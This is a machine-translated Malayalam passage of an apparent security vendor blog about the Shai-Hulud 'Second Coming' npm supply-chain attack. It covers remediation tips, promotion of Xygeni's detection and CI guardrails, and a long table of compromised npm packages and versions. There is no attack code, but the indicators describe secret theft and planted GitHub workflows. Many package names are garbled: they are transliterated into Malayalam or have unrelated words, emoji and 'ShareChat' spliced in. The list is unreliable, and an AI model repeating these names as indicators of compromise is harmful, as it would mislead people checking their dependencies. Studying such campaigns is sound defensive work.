  • അസാധാരണമായ കമാൻഡുകൾക്കോ ​​റണ്ണുകൾക്കോ ​​വേണ്ടി നിങ്ങളുടെ CI ലോഗുകളിൽ തിരയുക.

അറിയപ്പെടുന്ന നല്ല പാക്കേജ് പതിപ്പുകളിൽ നിന്ന് പുനർനിർമ്മിക്കുക.

ഷായ്-ഹുലുദ് രണ്ടാം വരവ് പോലെ ആക്രമണങ്ങൾ തടയാൻ സൈജെനി എങ്ങനെ സഹായിക്കുന്നു

ഷായ്-ഹുലുദ് സെക്കൻഡ് കമിംഗ് പോലുള്ള ആക്രമണാത്മകമായ ഒരു കാമ്പെയ്‌നിനുശേഷം, ടീമുകൾക്ക് മാനുവൽ പരിശോധനകളേക്കാൾ കൂടുതൽ ആവശ്യമാണ്. ഡെവലപ്പർമാർ, സിഐ റണ്ണർമാർ അല്ലെങ്കിൽ പ്രൊഡക്ഷൻ സിസ്റ്റങ്ങളിൽ എത്തുന്നതിനുമുമ്പ് മാൽവെയറിനെ തടയുന്ന ഓട്ടോമേറ്റഡ് പരിരക്ഷ അവർക്ക് ആവശ്യമാണ്. ഇവിടെയാണ് സൈജെനി ഒരു പ്രധാന നേട്ടം നൽകുന്നത്.

മാൽവെയർ നേരത്തെയുള്ള മുന്നറിയിപ്പ് (MEW): ഭീഷണികൾ പടരുന്നതിന് മുമ്പ് കണ്ടെത്തുക.

 സൈജെനിയുടെ ഏർലി വാണിംഗ് എഞ്ചിൻ പുതിയതും അപ്ഡേറ്റ് ചെയ്തതുമായ ഓപ്പൺ സോഴ്‌സ് പാക്കേജുകൾ തത്സമയം സ്കാൻ ചെയ്യുന്നു. ഇത് സംശയാസ്പദമായ പെരുമാറ്റങ്ങളെ ഫ്ലാഗ് ചെയ്യുന്നു, ഉദാഹരണത്തിന്:

  • അവ്യക്തമായ ജാവാസ്ക്രിപ്റ്റ് അല്ലെങ്കിൽ വലിയ ബണ്ടിൽ ചെയ്ത കോഡ്
  • ബൺ പോലുള്ള ബാഹ്യ റൺടൈമുകൾ ഇൻസ്റ്റാൾ ചെയ്യുന്ന ലൈഫ് സൈക്കിൾ സ്ക്രിപ്റ്റുകൾ
  • GitHub, npm അല്ലെങ്കിൽ ക്ലൗഡ് എൻഡ്‌പോയിന്റുകളിലേക്കുള്ള അപ്രതീക്ഷിത കണക്ഷനുകൾ
  • എഴുതുന്ന ഡ്രോപ്പറുകൾ $HOME, .dev-env/ അല്ലെങ്കിൽ വർക്ക്ഫ്ലോ ഫോൾഡറുകൾ

ഷായ്-ഹുലുദ് തരംഗങ്ങളിൽ ഉപയോഗിക്കുന്ന പാറ്റേണുകൾ MEW കണ്ടെത്തി, ഇത് ആക്രമണകാരികൾ അണുബാധ കൂടുതൽ വ്യാപിപ്പിക്കുന്നതിന് മുമ്പ് ടീമുകളെ പ്രതികരിക്കാൻ സഹായിക്കുന്നു.

Guardrails in CI/CD ദോഷകരമായ പാക്കേജുകൾ തടയുക

സൈജെനി നടപ്പിലാക്കുന്നു guardrails സുരക്ഷിതമല്ലാത്ത പ്രവർത്തനങ്ങൾ സ്വയമേവ നിർത്തുന്നവ:

  • CI pipelineമറഞ്ഞിരിക്കുന്ന പ്രീഇൻസ്റ്റാൾ അല്ലെങ്കിൽ പോസ്റ്റ്ഇൻസ്റ്റാൾ സ്ക്രിപ്റ്റുകൾ ഉള്ള പാക്കേജുകൾ s-ന് ഇൻസ്റ്റാൾ ചെയ്യാൻ കഴിയില്ല.
  • ഒരു പാക്കേജ് ഇതുപോലുള്ള വർക്ക്ഫ്ലോകൾ സൃഷ്ടിക്കാൻ ശ്രമിക്കുമ്പോൾ ബിൽഡുകൾ പരാജയപ്പെടുന്നു .github/workflows/discussion.yaml
  • Pipelineവിശ്വസനീയമല്ലാത്ത ഉറവിടങ്ങളിൽ നിന്നോ ആദ്യം കണ്ട അക്കൗണ്ടുകളിൽ നിന്നോ പ്രസിദ്ധീകരിക്കുന്ന ആശ്രിതത്വങ്ങൾ നിരസിക്കുക.

ഇത് ആക്രമണ പ്രതലം ഗണ്യമായി കുറയ്ക്കുകയും CI ജോലികൾക്കുള്ളിൽ മാൽവെയർ പ്രവർത്തിക്കുന്നത് തടയുകയും ചെയ്യുന്നു.

സീക്രട്ട്സ് പ്രൊട്ടക്ഷൻ സ്ഫോടന ദൂരം കുറയ്ക്കുന്നു.

ഷായ്-ഹുലുദ് ക്ലൗഡ് കീകൾ, ഗിറ്റ്ഹബ് ടോക്കണുകൾ, npm ടോക്കണുകൾ, CI രഹസ്യങ്ങൾ എന്നിവ മോഷ്ടിക്കുന്നതിനാൽ, സംരക്ഷണം ക്രെഡൻഷ്യലുകളിലും ശ്രദ്ധ കേന്ദ്രീകരിക്കണം. Xygeni:

  • കോഡ്, ലോഗുകൾ, വർക്ക്ഫ്ലോകൾ, പരിസ്ഥിതി ഫയലുകൾ എന്നിവയ്ക്കുള്ളിലെ വെളിപ്പെടുത്തിയ രഹസ്യങ്ങൾ കണ്ടെത്തുന്നു.
  • ഉയർന്ന അപകടസാധ്യതയുള്ള ക്രെഡൻഷ്യലുകൾ യാന്ത്രികമായി തിരിക്കുന്നു
  • ദീർഘകാല വിട്ടുവീഴ്ച പരിമിതപ്പെടുത്തുന്നതിന് ഹ്രസ്വകാല ടോക്കണുകൾ നടപ്പിലാക്കുന്നു.

ഒരു ആക്രമണകാരിക്ക് പ്രാരംഭ ആക്‌സസ് ലഭിച്ചാൽ പോലും, മോഷ്ടിക്കപ്പെട്ട താക്കോലുകൾ പെട്ടെന്ന് ഉപയോഗശൂന്യമാകും.

അന്തിമ കുറിപ്പുകൾ: ഷായ് ഹുലുദ് എൻ‌പി‌എം സപ്ലൈ ചെയിൻ ആക്രമണം ഇപ്പോഴും പ്രധാനമായിരിക്കുന്നത് എന്തുകൊണ്ട്?

ദി ശൈ-ഹുലുദ് രണ്ടാം വരവ് ഒരു ആധുനിക എൻ‌പി‌എം സപ്ലൈ ചെയിൻ ആക്രമണം ആവാസവ്യവസ്ഥകളിലൂടെ സഞ്ചരിക്കാൻ കഴിയും. ഈ സാഹചര്യത്തിൽ, മാൽവെയറുകൾ npm-ൽ നിന്ന് Maven-ലേക്ക് കുതിച്ചത് ഓട്ടോമേറ്റഡ് മിററിംഗ് ടൂളുകൾ പോലുള്ളവ മൂലമാണ് എംവിഎൻപിഎം പരിശോധന കൂടാതെ അപഹരിക്കപ്പെട്ട പാക്കേജുകൾ പുനഃപ്രസിദ്ധീകരിച്ചു. തൽഫലമായി, ജാവ ടീമുകൾ ഒരിക്കലും നേരിട്ട് npm ഉപയോഗിച്ചിട്ടില്ലെങ്കിലും അവ തുറന്നുകാട്ടപ്പെട്ടു. ക്രോസ്-രജിസ്ട്രി വർക്ക്ഫ്ലോകൾക്ക് ഉടനടി അവലോകനവും ശക്തമായ സുരക്ഷാ സംവിധാനങ്ങളും ആവശ്യമാണെന്ന് ഇത് വ്യക്തമാക്കുന്നു.

മാത്രമല്ല, ഈ കാമ്പെയ്‌നിന്റെ വ്യാപ്തിയും പെരുമാറ്റവും ഇന്ന് ആക്രമണകാരികൾ എങ്ങനെ പ്രവർത്തിക്കുന്നുവെന്ന് വെളിപ്പെടുത്തുന്നു. നിശബ്ദത പാലിക്കുന്നതിനുപകരം, അവർ ഒരേസമയം നൂറുകണക്കിന് പാക്കേജുകൾ പ്രസിദ്ധീകരിക്കുന്നു, മറഞ്ഞിരിക്കുന്ന GitHub റണ്ണറുകളെ വിന്യസിക്കുന്നു, രഹസ്യങ്ങൾ മൊത്തത്തിൽ മോഷ്ടിക്കുന്നു, എന്തെങ്കിലും പരാജയപ്പെട്ടാൽ ഒരു വിനാശകരമായ വൈപ്പർ പോലും ഉൾപ്പെടുത്തുന്നു. തൽഫലമായി, മാനുവൽ അവലോകനങ്ങൾ ഈ ലെവൽ ഓട്ടോമേഷനും വേഗതയും നിലനിർത്തുന്നില്ല. പാക്കേജ്, ഉറവിടം, pipeline ലെയറുകൾ.

എന്തുകൊണ്ട് തുടർച്ചയായി Pipeline Security ഇപ്പോൾ അത്യാവശ്യമാണ്

പോലുള്ള ആക്രമണങ്ങൾ ശൈ-ഹുലുദ് രണ്ടാം വരവ് പരിണമിച്ചുകൊണ്ടിരിക്കും. അതിനാൽ, അടുത്ത തരംഗത്തെ തടയുന്നതിന് ഉള്ളിൽ യാന്ത്രികമായി പ്രവർത്തിക്കുന്ന നിയന്ത്രണങ്ങൾ ആവശ്യമാണ്. CI/CD, വിട്ടുവീഴ്ചയ്ക്ക് ശേഷമല്ല. വികസന പരിതസ്ഥിതികളിലൂടെ ശ്രദ്ധിക്കപ്പെടാതെ ക്ഷുദ്ര കോഡിന് സഞ്ചരിക്കാൻ കഴിയാത്തവിധം ആധുനിക പ്രതിരോധം നേരത്തെയുള്ള മാൽവെയർ കണ്ടെത്തൽ, കർശനമായ ആശ്രിതത്വ മൂല്യനിർണ്ണയം, നയ നിർവ്വഹണം, രഹസ്യ സംരക്ഷണം എന്നിവ സംയോജിപ്പിക്കണം.

ഓട്ടോമേറ്റഡ് നൽകുന്നതിലൂടെ സൈജെനി ഈ മാറ്റത്തെ പിന്തുണയ്ക്കുന്നു guardrails മുഴുവൻ സോഫ്റ്റ്‌വെയർ വിതരണ ശൃംഖലയിലുടനീളം. ഇൻസ്റ്റാളേഷന് മുമ്പ് സംശയാസ്‌പദമായ പാക്കേജുകൾ ഇത് തിരിച്ചറിയുന്നു, സുരക്ഷിതമായ ആശ്രിത പതിപ്പുകൾ നടപ്പിലാക്കുന്നു, സുരക്ഷിതമല്ലാത്ത വർക്ക്ഫ്ലോകൾ തടയുന്നു, വെളിപ്പെടുത്തിയ രഹസ്യങ്ങൾ കണ്ടെത്തുന്നു, അസാധാരണമായവയെക്കുറിച്ച് മുന്നറിയിപ്പ് നൽകുന്നു. pipeline പ്രവർത്തനം. തൽഫലമായി, വിതരണ ശൃംഖല ആക്രമണങ്ങൾ വേഗത്തിൽ വ്യാപിക്കുകയും ആവാസവ്യവസ്ഥയുടെ അതിരുകൾ കടക്കുകയും ചെയ്യുമ്പോൾ പോലും ടീമുകൾ സുരക്ഷിതരായി തുടരുന്നു.

അപകടത്തിലായ പാക്കേജുകളുടെ പട്ടിക

ബാധിച്ച പാക്കേജുകളെ ഉപയോഗിച്ച് പരിശോധിക്കാവുന്നതാണ് #ഷായ്-ഹുലുദ് / #ഷായ്-ഹുലുദ്-രണ്ടാം വരവ് ടാഗ് വിത്തിൻ ഓപ്പൺസോഴ്‌സ്മാൽവെയർ.കോം

 
പാക്കേജ്പതിപ്പ്
02-എക്കോ0.0.7
@accordproject/concerto-analysis3.24.1
@accordproject/concerto-linter3.24.1
@accordproject/concerto-linter-default-ruleset3.24.1
@accordproject/concerto-metamodel3.12.5
@accordproject/concerto-types3.24.1
@accordproject/markdown-it-cicero0.16.26
@accordproject/template-engine2.7.2
@actbase/css-to-react-native-transform1.0.3
@actbase/നേറ്റീവ്0.1.32
@actbase/node-സെർവർ1.1.19
@actbase/react-absolute (ആക്റ്റ്ബേസ്)0.8.3
@actbase/react-daum-postcode1.0.5
@actbase/react-kakaosdk @actbase/react-kakaosdk0.9.27
@actbase/react-native-actionsheet1.0.3
@actbase/react-native-devtools0.1.3
@actbase/react-native-fast-image8.5.13
@actbase/react-native-kakao-channel1.0.2
@actbase/react-native-kakao-navi2.0.4
@actbase/react-native-less-transformer - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChat1.0.6
@actbase/react-native-naver- - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChatlogin1.0.1
@actbase/react-native-simple-video-ആദ്യം1.0.13
@actbase/react-native-tiktok_tok@ആക്റ്റ്ബേസ്1.1.3
@alexcolls/nuxt-socket.io0.0.7, 0.0.8
@alexcolls/nuxt-ux0.6.2, 0.6.1
@antstackio/eslint-config-antstack0.0.3
@antstackio/express-graphql-proxy0.2.8
@antstackio/graphql-body-parser-ൽ ക്ലിക്ക് ചെയ്യുക0.1.1
@antstackio/json-to-graphql1.0.3
@antstackio/shelbysam_tamil #🎶 പാട്ടുകൾ1.1.7
@aryanhussain/my-angular-lib0.0.23
@asyncapi/dotnet-rabbitmq-ടെംപ്ലേറ്റ്1.0.2, 1.0.1
@asyncapi/edavisualiser1.2.2, 1.2.1
@asyncapi/go-watermill-template (മലയാളം)0.2.76, 0.2.77
@asyncapi/java-ടെംപ്ലേറ്റ്0.3.6, 0.3.5
@asyncapi/കീപ്പർ0.0.3, 0.0.2
@asyncapi/php-ടെംപ്ലേറ്റ്0.1.2, 0.1.1
@asyncapi/python-paho-template (പൈത്തൺ-പഹോ-ടെംപ്ലേറ്റ്)0.2.15, 0.2.14
@asyncapi/server-api0.16.25, 0.16.24
@asyncapi/സ്റ്റുഡിയോ1.0.3, 1.0.2
@asyncapi/web-ഘടകം2.6.7, 2.6.6
@ബ്രൗസർബസെഹ്ക്/bb91.2.21
@browserbasehq/director-ai1.0.3
@ബ്രൗസർബസെഹ്ക്/എംസിപി2.1.1
@browserbasehq/mcp-സെർവർ-ബ്രൗസർബേസ്2.4.2
@browserbasehq/sdk-ഫംഗ്ഷനുകൾ0.0.4
@browserbasehq/സ്റ്റേജ്ഹാൻഡ്3.0.4
@browserbasehq/stagehand-docs1.0.1
@caretive/caret-cli0.0.2
@clausehq/flows-step-httprequest0.1.14
@clausehq/flows-step-jsontoxml0.1.14
@clausehq/flows-step-mqtt0.1.14
@clausehq/flows-step-sendgridemail0.1.14
@clausehq/flows-step-taskscreateurl (ഫ്ലോസ്-സ്റ്റെപ്പ്-ടാസ്ക്സ്ക്രിയേറ്റർൽ)0.1.14
@കമ്യൂട്ട്/ബ്ലൂം1.0.3
@കമ്യൂട്ട്/മാർക്കറ്റ്-ഡാറ്റ1.0.2
@കമ്യൂട്ട്/മാർക്കറ്റ്-ഡാറ്റ-ചാർട്ട്ജുകൾ2.3.1
@dev-blinq/ai-qa-logic (എഴുത്തുകാരന്‍)1.0.19
@dev-blinq/കുക്കുമ്പർ-ജെഎസ്1.0.131
@dev-blinq/കുക്കുമ്പർ_ക്ലയന്റ്1.0.738
@dev-blinq/ui-systems (ഡെവലപ്പർ)1.0.93
@ensdomains/വിലാസം-എൻകോഡർ1.1.5
@ensdomains/ബ്ലാക്ക്‌ലിസ്റ്റ്1.0.1
@ensdomains/ബഫർ0.1.2
@ensdomains/ccip-read-cf-worker0.0.4
@ensdomains/ccip-read-dns-gateway0.1.1
@ensdomains/ccip-റീഡ്-റൂട്ടർ0.0.7
@ensdomains/ccip-read-worker-viem0.0.4
@ensdomains/content-hash3.0.1
@ensdomains/കർവ്അരിത്മെറ്റിക്സ്1.0.1
@ensdomains/സൈപ്രസ്-മെറ്റാമാസ്ക്1.2.1
@ensdomains/dnsprovejs0.5.3
@ensdomains/dnssec-oracle-anchors0.0.2
@ensdomains/dnssecoraclejs0.2.9
@ensdomains/durin0.1.2
@ensdomains/durin-middleware0.0.2
@ensdomains/ens-archived-contracts0.0.3
@ensdomains/ens-അവതാർ1.0.4
@ensdomains/ens-contracts1.6.1
@ensdomains/ens-test-env1.0.2
@ensdomains/ens-validation0.1.1
@ensdomains/ensjs4.0.3
@ensdomains/ensjs-react0.0.5
@ensdomains/eth-ens-namehash2.0.16
@ensdomains/hackathon-registrar1.0.5
@ensdomains/hardhat-chai-matchers-viem0.1.15
@ensdomains/hardhat-toolbox-viem-extended0.0.6
@ensdomains/mock (പരിഹാസം)2.1.52
@ensdomains/name-wrapper1.0.1
@ensdomains/offchain-resolver-contracts0.2.2
@ensdomains/op-resolver-contracts0.0.2
@ensdomains/react-ens-വിലാസം0.0.32
@ensdomains/പുതുക്കൽ0.0.13
@ensdomains/renewal-widget-ൽ ക്ലിക്ക് ചെയ്യുക.0.1.10
@ensdomains/reverse-records1.0.1
@ensdomains/server-analytics0.0.2
@ensdomains/solsha10.0.4
@ensdomains/subdomain-രജിസ്ട്രാർ0.2.4
@ensdomains/test-utils1.3.1
@ensdomains/thorin0.6.51
@ensdomains/ui3.4.6
@ensdomains/unicode-confusables0.1.1
@ensdomains/unruggable-gateways0.0.3
@ensdomains/vite-plugin-i18next-loader (അടുത്ത ലോഡർ)4.0.4
@ensdomains/web3modal1.10.2
@everreal/react-charts (എവർറിയൽ/റിയാക്ട്-ചാർട്ടുകൾ)2.0.1, 2.0.2
@everreal/validate-esmoduleinterop-imports1.4.4, 1.4.5
@everreal/വെബ്-അനലിറ്റിക്സ്0.0.1, 0.0.2
@faq-ഘടകം/കോർ0.0.4
@faq-ഘടകം/പ്രതികരണം1.0.1
@fishingbooker/browser-sync-plugin1.0.5
@fishingbooker/react-loader (ഭാഷ: ഇംഗ്ലീഷ്)1.0.7
@fishingbooker/react-pagination (ഭാഷാ പേജ്)2.0.6
@fishingbooker/react-raty2.0.1
@fishingbooker/react-swiper0.1.5
@hapheus/n8n-nodes-pgp1.5.1
@ഹോവർ-ഡിസൈൻ/കോർ0.0.1
@ഹോവർ-ഡിസൈൻ/റിയാക്റ്റ്0.2.1
@ifelsedeveloper/protocol-contracts-svm-idl0.1.2
@ifings/design-system4.9.2
@ifings/metatron30.1.5
@kvytech/cli0.0.7
@kvytech/ഘടകങ്ങൾ0.0.2
@kvytech/habbit-e2e-test0.0.2
@kvytech/medusa-plugin-announcement0.0.8
@kvytech/medusa-plugin-management0.0.5
@kvytech/medusa-plugin-newsletter0.0.5
@kvytech/medusa-plugin-product-reviews0.0.9
@kvytech/medusa-plugin-promotion0.0.2
@kvytech/വെബ്0.0.2
@lessondesk/api-ക്ലയന്റ്9.12.3, 9.12.2
@lessondesk/babel-പ്രീസെറ്റ്1.0.1
@lessondesk/electron-group-api-client1.0.3
@lessondesk/eslint-config1.4.2
@lessondesk/material-icons1.0.3
@lessondesk/react-table-context2.0.4
@ലെസ്സോണ്ടെസ്ക്/സ്കൂൾബസ്5.2.2, 5.2.3
@livecms/ലൈവ്-എഡിറ്റ്0.0.32
@livecms/nuxt-ലൈവ്-എഡിറ്റ്1.9.2
@louisle2/കോർ1.0.1
@louisle2/cortex-js0.1.6
@lpdjs/firestore-repo-service (ഫയർസ്റ്റോർ-റെപ്പോ-സർവീസ്)1.0.1
@markvivanco/app-version-checker1.0.2, 1.0.1
@ntnx/പാസ്‌പോർട്ട്-wso20.0.3
@ntnx/ടി0.0.101
@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode2.0.5
@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode1.1.1
@orbitgtbelgium/orbit-components1.2.9
@orbitgtbelgium/ടൈം-സ്ലൈഡർ1.0.187
@osmanekrem/bmad1.0.6
@osmanekrem/എറർ-ഹാൻഡ്‌ലർ1.2.2
@പോസ്റ്റോഗ്/ഏജന്റ്1.24.1
@posthog/ai7.1.2
@പോസ്റ്റോഗ്/ക്ലൈ0.5.15
@പോസ്റ്റോഗ്/ക്ലിക്ക്ഹൗസ്1.7.1
@posthog/കോർ1.5.6
@posthog/മുള്ളൻപന്നി-മോഡ്0.0.42
@posthog/ഐക്കണുകൾ0.36.1
@posthog/lemon-ui0.0.1
@posthog/nextjs-config1.5.1
@പോസ്റ്റോഗ്/നക്സ്റ്റ്1.2.9
@posthog/പിസ്കിന3.2.1
@posthog/plugin-സംഭാവന0.0.6
@posthog/react-rrweb-player1.1.4
@പോസ്റ്റോഗ്/ആർആർഡം0.0.31
@പോസ്റ്റോഗ്/ആർആർവെബ്0.0.31
@posthog/rrweb-player0.0.31
@posthog/rrweb-റെക്കോർഡ്0.0.31
@posthog/rrweb-റീപ്ലേ0.0.19
@posthog/rrweb-സ്നാപ്പ്ഷോട്ട്0.0.31
@posthog/rrweb-utils (@posthog) എന്ന വെബ്‌സൈറ്റ് സന്ദർശിക്കുക.0.0.31
@പോസ്റ്റോഗ്/സിഫാഷ്1.1.2
@posthog/വിസാർഡ്1.18.1
@പോസ്റ്റ്മാൻ/എതർ-ഐക്കണുകൾ2.23.4, 2.23.3, 2.23.2
@പോസ്റ്റ്മാൻ/csv-പാഴ്സ്4.0.5, 4.0.3, 4.0.4
@പോസ്റ്റ്മാൻ/നോഡ്-കീറ്റാർ7.9.6, 7.9.4, 7.9.5
@പോസ്റ്റ്മാൻ/ടണൽ-ഏജന്റ്0.6.7, 0.6.6, 0.6.5
@pradhumngautam/common-app (പ്രധുമ്നഗൗതം)1.0.2
@pruthvi21/ഉപയോഗിക്കുക-ഡീബൗൺസ്1.0.3
@ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-ഡോക്യുമെന്റ്-ട്രാൻസ്ലേറ്റർ1.4.2511142126
@ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-ജിറ്റ്-ക്ലീൻ-മാർക്ക്ഡൗൺ1.4.2511142126
@ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-മാർക്ക്ഡൗൺ1.4.2511142126
@quick-start-soft/quick-markdown-compose1.4.2506300029
@ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-മാർക്ക്ഡൗൺ-ഇമേജ്1.4.2511142126
@ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-മാർക്ക്ഡൗൺ-പ്രിന്റ്1.4.2511142126
@quick-start-soft/quick-markdown-translator1.4.2509202331
@ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-റിമൂവ്-ഇമേജ്-ബാക്ക്ഗ്രൗണ്ട്1.4.2511142126
@ക്വിക്ക്-സ്റ്റാർട്ട്-സോഫ്റ്റ്/ക്വിക്ക്-ടാസ്ക്-റിഫൈൻ1.4.2511142126
@relyt/claude-context-core (എഴുത്ത്)0.1.1
@seezo/sdr-mcp-സെർവർ0.0.5
@seung-ju/അടുത്തത്0.0.2
@seung-ju/openapi-ജനറേറ്റർ0.0.4
@seung-ju/react- - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChathooks0.0.2
@seung-ju/react-native-action-sheet-ൽ ക്ലിക്ക് ചെയ്യുക0.2.1
@sme-ui/aoma-vevasound-metadata-lib0.1.3
@strapbuild/react-native-date-time-picker - തീയതിയും സമയവും2.0.4
@strapbuild/react-native-perspective-image-cropper0.4.15
@strapbuild/react-native-perspective-image-cropper-2 - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChat0.4.7
@strapbuild/react-native-perspective-image-cropper-poojan310.4.6
@suraj_h/മീഡിയം-കോമൺ1.0.5
@thedelta/eslint-config1.0.2
@ടിയാന്ഡപ്ലെസിസ്/ജെസൺ2.0.3, 2.0.2
@tiaanduplessis/react-progressbar (പ്രോഗ്രസ്ബാർ)1.0.2, 1.0.1
@trefox/sleekshop-js0.1.6
@ട്രിഗോ/അട്രിക്സ്7.0.1
@trigo/atrix-elasticsearch2.0.1
@ട്രിഗോ/അട്രിക്സ്-പോസ്റ്റ്ഗ്രെസ്1.0.3
@trigo/atrix-pubsub4.0.3
@ട്രിഗോ/അട്രിക്സ്-സോപ്പ്1.0.2
@trigo/atrix-swagger (ആട്രിക്സ്-സ്വാഗർ)3.0.1
@trigo/bool-expressions (എക്സ്പ്രഷനുകൾ)4.1.3
@trigo/eslint-config-trigo3.3.1
@ട്രിഗോ/എഫ്എസ്എം3.4.2
@trigo/hapi-auth-signedlink1.3.1
@trigo/പാത്ത്ഫൈൻഡർ-ui-css0.1.1
@trigo/trigo-hapijs5.0.1
@trpc-റേറ്റ്-ലിമിറ്റർ/ക്ലൗഡ്ഫ്ലെയർ0.1.4
@trpc-റേറ്റ്-ലിമിറ്റർ/ഹോണോ0.1.4
@varsityvibe/api-ക്ലയന്റ്1.3.36, 1.3.37
@varsityvibe/utils (@varsityvibe) എന്ന വെബ്‌സൈറ്റ് സന്ദർശിക്കുക.5.0.6
@varsityvibe/validation-സ്കീമകൾ0.6.7, 0.6.8
@വിഷാദ്ത്യാഗി/മുഴുവർഷ കലണ്ടർ0.1.11
@വോയ്‌സ്ഫ്ലോ/അലക്സ-തരം2.15.60, 2.15.61
@വോയ്‌സ്ഫ്ലോ/ആന്ത്രോപിക്0.4.4, 0.4.5
@വോയ്‌സ്ഫ്ലോ/എപിഐ-എസ്ഡികെ3.28.58, 3.28.59
@വോയ്‌സ്ഫ്ലോ/ബാക്കെൻഡ്-യൂട്ടിലുകൾ5.0.2, 5.0.1
@വോയ്‌സ്ഫ്ലോ/ബേസ്-ടൈപ്പുകൾ2.136.3, 2.136.2
@വോയ്‌സ്ഫ്ലോ/ബോഡി-പാഴ്‌സർ1.21.2, 1.21.3
@വോയ്‌സ്ഫ്ലോ/ചാറ്റ്-തരങ്ങൾ2.14.59, 2.14.58
@voiceflow/circleci-config-sdk-orb-import0.2.1, 0.2.2
@വോയ്‌സ്ഫ്ലോ/commitലിന്റ്-കോൺഫിഗ്2.6.2, 2.6.1
@വോയ്‌സ്ഫ്ലോ/കോമൺ8.9.1, 8.9.2
@voiceflow/default-prompt-wrappers1.7.4, 1.7.3
@വോയ്‌സ്ഫ്ലോ/ഡിപൻഡൻസി-ക്രൂയിസർ-കോൺഫിഗ്1.8.12, 1.8.11
@വോയ്‌സ്ഫ്ലോ/dtos-ഇന്ററാക്ട്1.40.2, 1.40.1
@വോയ്‌സ്ഫ്ലോ/എൻക്രിപ്ഷൻ0.3.3, 0.3.2
@വോയ്‌സ്ഫ്ലോ/എസ്ലിന്റ്-കോൺഫിഗ്7.16.4, 7.16.5
@വോയ്‌സ്ഫ്ലോ/എസ്ലിന്റ്-പ്ലഗിൻ1.6.2, 1.6.1
@വോയ്‌സ്ഫ്ലോ/എക്‌സിപ്ഷൻ1.10.2, 1.10.1
@വോയ്‌സ്ഫ്ലോ/ഫെച്ച്1.11.1, 1.11.2
@voiceflow/general-types3.2.23, 3.2.22
@വോയ്‌സ്ഫ്ലോ/ജിറ്റ്-ബ്രാഞ്ച്-ചെക്ക്1.4.4, 1.4.3
@voiceflow/google-dfes-types2.17.12, 2.17.13
@വോയ്‌സ്ഫ്ലോ/ഗൂഗിൾ-തരം2.21.12, 2.21.13
@വോയ്‌സ്ഫ്ലോ/ഹസ്കി-കോൺഫിഗ്1.3.1, 1.3.2
@വോയ്‌സ്ഫ്ലോ/ലോഗർ2.4.3, 2.4.2
@വോയ്‌സ്ഫ്ലോ/മെട്രിക്സ്1.5.2, 1.5.1
@voiceflow/natural-language-commander-ൽ നിന്നുള്ള ഒരു വീഡിയോ0.5.2, 0.5.3
@voiceflow/nestjs-common2.75.2, 2.75.3
@വോയ്‌സ്ഫ്ലോ/നെസ്റ്റ്ജെഎസ്-മോംഗോഡിബി1.3.1, 1.3.2
@voiceflow/nestjs-നിരക്ക്-പരിധി1.3.3, 1.3.2
@വോയ്‌സ്ഫ്ലോ/നെസ്റ്റ്ജെഎസ്-റെഡിസ്1.3.1, 1.3.2
@voiceflow/nestjs-ടൈംഔട്ട്1.3.1, 1.3.2
@voiceflow/npm-package-json-lint-config1.1.1, 1.1.2
@വോയ്‌സ്ഫ്ലോ/ഓപെനായി3.2.2, 3.2.3
@വോയ്‌സ്ഫ്ലോ/പിനോ6.11.4, 6.11.3
@വോയ്‌സ്ഫ്ലോ/പിനോ-പ്രെറ്റി4.4.2, 4.4.1
@വോയ്‌സ്ഫ്ലോ/പ്രെറ്റിയർ-കോൺഫിഗ്1.10.2, 1.10.1
@വോയ്‌സ്ഫ്ലോ/റിയാക്റ്റ്-ചാറ്റ്1.65.4, 1.65.3
@വോയ്‌സ്ഫ്ലോ/റൺടൈം1.29.1, 1.29.2
@വോയ്‌സ്ഫ്ലോ/റൺടൈം-ക്ലയന്റ്-ജെഎസ്1.17.3, 1.17.2
@വോയ്‌സ്ഫ്ലോ/എസ്ഡികെ-റൺടൈം1.43.2, 1.43.1
@voiceflow/secrets-ദാതാവ്1.9.3, 1.9.2
@voiceflow/semantic-release-config1.4.2, 1.4.1
@വോയ്‌സ്ഫ്ലോ/സെർവർലെസ്-പ്ലഗിൻ-ടൈപ്പ്സ്ക്രിപ്റ്റ്2.1.7, 2.1.8
@വോയ്‌സ്ഫ്ലോ/സ്ലേറ്റ്-സീരിയലൈസർ1.7.4, 1.7.3
@voiceflow/stitches-react2.3.3, 2.3.2
@വോയ്‌സ്ഫ്ലോ/സ്റ്റോറിബുക്ക്-കോൺഫിഗ്1.2.2, 1.2.3
@വോയ്‌സ്ഫ്ലോ/സ്റ്റൈലിന്റ്-കോൺഫിഗ്1.1.1, 1.1.2
@voiceflow/test-common2.1.1, 2.1.2
@വോയ്‌സ്ഫ്ലോ/tsconfig1.12.2, 1.12.1
@വോയ്‌സ്ഫ്ലോ/tsconfig-പാത്ത്സ്1.1.5, 1.1.4
@voiceflow/utils-ഡിസൈനർ1.74.19, 1.74.20
@വോയ്‌സ്ഫ്ലോ/വെറർ1.1.5, 1.1.4
@വോയ്‌സ്ഫ്ലോ/വൈറ്റ്-കോൺഫിഗ്2.6.2, 2.6.3
@വോയ്‌സ്ഫ്ലോ/വിറ്റെസ്റ്റ്-കോൺഫിഗ്1.10.3, 1.10.2
@വോയ്‌സ്ഫ്ലോ/വോയ്‌സ്-തരങ്ങൾ2.10.59, 2.10.58
@വോയ്‌സ്ഫ്ലോ/വോയ്‌സ്ഫ്ലോ-തരങ്ങൾ3.32.45, 3.32.46
@വോയ്‌സ്ഫ്ലോ/വിജറ്റ്1.7.18, 1.7.19
@zapier/ai-actions (എഴുത്തുകാരന്‍)0.1.20, 0.1.19, 0.1.18
@സാപിയർ/ബാബൽ-പ്രീസെറ്റ്-സാപിയർ6.4.2, 6.4.1, 6.4.3
@zapier/browserslist-config-zapier1.0.4, 1.0.3, 1.0.5
